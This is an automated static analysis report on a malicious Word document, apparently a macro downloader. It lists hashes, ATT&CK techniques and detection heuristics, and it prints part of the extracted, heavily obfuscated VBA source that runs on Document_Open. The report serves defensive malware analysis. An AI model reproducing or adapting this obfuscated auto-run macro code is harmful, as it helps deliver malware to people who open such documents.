Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bfef784a4cbce00b…

MALICIOUS

Office (OLE)

167.7 KB Created: 2019-12-12 06:31:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: 53666a072ec4e13fc261eaeeb2bec46c SHA-1: 8829dbb609c0169eb44763ea26c754e34e51bf43 SHA-256: bfef784a4cbce00bd63a5c7adee60ded40f09bdb6414f80a9f02da09d36a1013
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically triggering a Document_Open auto-execution macro. The presence of CreateObject calls and the ClamAV detection strongly suggest the macro is designed to download and execute a secondary payload. The VBA code is heavily obfuscated, making it difficult to determine the exact payload or destination, hence the 'unknown family' classification.

Heuristics 6

  • ClamAV: Doc.Downloader.Generic-7447451-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7447451-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8817 bytes
SHA-256: efe61193c2fc96864c65d9bd9d2d623a5945b563404c10db95b3762d204081a7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Drzxrkjbzh"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Hfryyfjdmrtck, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Mcfvipusvw = Wwqwdgewfju To 0
      For Vlfkpovnbzm = Jmaoydmeoji To 0
         Fhmfchrineo = (23 + Round(WOJOkxR3))
      Next
      Hkzvxehnw = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Rkrbigbxtbioa = uzH To MZDUoaj1
         Eygvhlfrvbetm = ChrB(dANsZ68a4)
         Next
      For Aipqnrqpag = 0 To 0
         Ofywyyaaigak = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
   For Rerrbtwxq = Wtyaijuxgcl To 0
      For Tgppouhaaog = Xinwxnapwz To 0
         Jmsksefvcxue = (23 + Round(WOJOkxR3))
      Next
      Vzrwfrmvlm = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Exjyxgdufh = uzH To MZDUoaj1
         Ijaskznjpor = ChrB(dANsZ68a4)
         Next
      For Auuinbfbizimd = 0 To 0
         Bmdokbovqtl = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
   For Qcduyoay = Kynfbvchjub To 0
      For Ytnofuryyb = Kcsbcsihc To 0
         Zzuvnueszr = (23 + Round(WOJOkxR3))
      Next
      Akavddql = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Yrtkggbt = uzH To MZDUoaj1
         Fhnokzedui = ChrB(dANsZ68a4)
         Next
      For Txrqcxeelhp = 0 To 0
         Dbcoxrfa = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Mlmdklitfzfsx
End Sub

Attribute VB_Name = "Kvwvcyuoyavns"
Attribute VB_Base = "0{37C26761-C963-481D-808A-6A57FC67E61C}{9CCD7420-658F-4C63-8025-83AF5817AB4F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Fneottaxemzdw"
Function Mzfxfwjgzlee()
   For Rsrcencf = Osjuhawcoxwko To 0
      For Vdeguhpac = Grtardywi To 0
         Saakqbaeh = (23 + Round(WOJOkxR3))
      Next
      Xikyydpzshg = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Einfslrtknkd = uzH To MZDUoaj1
         Rozyhbrukq = ChrB(dANsZ68a4)
         Next
      For Vgicamyff = 0 To 0
         Ulvlvmvzuss = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Smewmzbudwv = Drzxrkjbzh.Hfryyfjdmrtck
   For Oldgpjvot = Wamvtdkvvsyxf To 0
      For Iseqbqehwvyb = Fyiacxiu To 0
         Vyavmpnyswb = (23 + Round(WOJOkxR3))
      Next
      Clfssqzubt = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Tpwdqjnqovc = uzH To MZDUoaj1
         Ugiajuccpg = ChrB(dANsZ68a4)
         Next
      For Fqdcvtfiftaqu = 0 To 0
         Nmugjpixkru = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Ovrudpuuehd = Smewmzbudwv + Kvwvcyuoyavns.Hqywuswepjksr + Kvwvcyuoyavns.Ocfrxwgbcci + Kvwvcyuoyavns.Ndeftfxi
   For Mmpswtatvnl = Oqufhgpdtky To 0
      For Vrsjprwu = Hrmiyuffqel To 0
         Rghbcnscrhuxi = (23 + Round(WOJOkxR3))
      Next
      Xtqvibmouy = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Ofhgqttaci = uzH To MZDUoaj1
         Gnmqjskptthw = ChrB(dANsZ68a4)
         Next
      For Uwesmdleexk = 0 To 0
         Epajpdwp = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Pjptsfvkwexu = Ovrudpuuehd + Kvwvcyuoyavns.Vcnjotywz + Kvwvcyuoyavns.Uwlnccogt.ControlTipText
   For Ybenlirqvj = Zuhiedercivo To 0
      For Jjydetiygqw = Fvfpmpuyvyq To 0
         Cxjqfqnwzhsre = (23 + Round(WOJOkxR3))
      Next
      Aormtoyvws = (1 - CDate(33 * CStr(4) * knwp8625Y - Atn(NkUOr1KWV * 1)))
      For Fqnlhygrlppkg = uzH To MZDUoaj1
         Gnnxizkxhhem = ChrB(dANsZ68a4)
         Next
      For Bnywqhgl = 0 To 0
         Tyyylyhfuw = 43 * CInt(45 - CSng(jUnR69) - 11)
      Next
Next
Mzfxfwjgzlee = Herjpavwvpy + Pjptsfvkwexu + Herjpavwvpy
   For Zfyryuxhqwda = Nbodyneq
... (truncated)

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